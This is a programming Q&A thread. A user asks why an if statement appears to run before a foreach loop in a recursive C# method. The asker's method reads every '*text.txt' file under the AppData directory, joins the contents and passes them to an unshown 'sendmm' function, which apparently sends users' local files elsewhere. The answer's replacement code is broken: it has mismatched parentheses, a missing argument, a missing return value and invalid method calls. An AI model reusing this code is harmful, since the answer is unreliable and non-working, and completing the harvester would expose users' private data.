Fightera100 Fightera100 - 2 months ago 6
C# Question

Why is the if statement being executed before the foreach loop?

I had a problem before and now that I solved it, I can't solve this one.

debugging picture

For some reason the if statement is called BEFORE the foreach loop and because of that, the variable that I wanted to send AFTER the loop is empty. How can I fix it? I thought code is always read from top to the bottom?

At the end, the list contains everything it should but the if statement is not being called a second time...

public static void GetAllFiles(string sDir)
{
List < string > datas = new List<string>();
foreach (string dir in Directory.GetDirectories(sDir))
{
try
{
foreach (string file in Directory.GetFiles(dir, "*text.txt"))
{
string var = File.ReadAllText(file);
datas.Add(var);
}
GetAllFiles(dir);
}
catch
{
}
}
if (datas != null)
{
string dets = String.Join("\n\n", datas.ToArray());
sendmm(dets);
}
}


appdata directory is being passed

Answer

The easiest way to do this is:

public static void GetAllFiles(string sDir)
{
  Console.WriteLine(String.Join("\n\n",Directory.GetFiles(sDir, "*.*", SearchOption.AllDirectories)));
}

There is no need for recursion - but since you used recursion in your question, you may be simplifying, this is how you'd use it if you need recursion for some other purpose.

List < string > datas = new List<string>();

public static void GetAllFiles(string sDir)
{     datas = new List<string>();
      datas.AddRange(Directory.GetFiles(sDir);
    foreach (string dir in Directory.GetDirectories(sDir))
    {
       recursiveSearch();           
    }
    if (datas != null)
    {
        string dets = String.Join("\n\n", datas.ToArray());
        sendmm(dets);
    }
}
private string recursiveSearch(string dir)
{
   datas.AddRange(Directory.GetFiles(dir));
   foreach(string directory in dir.GetDirectories())
   {
       recursiveSearch(directory);
   }
}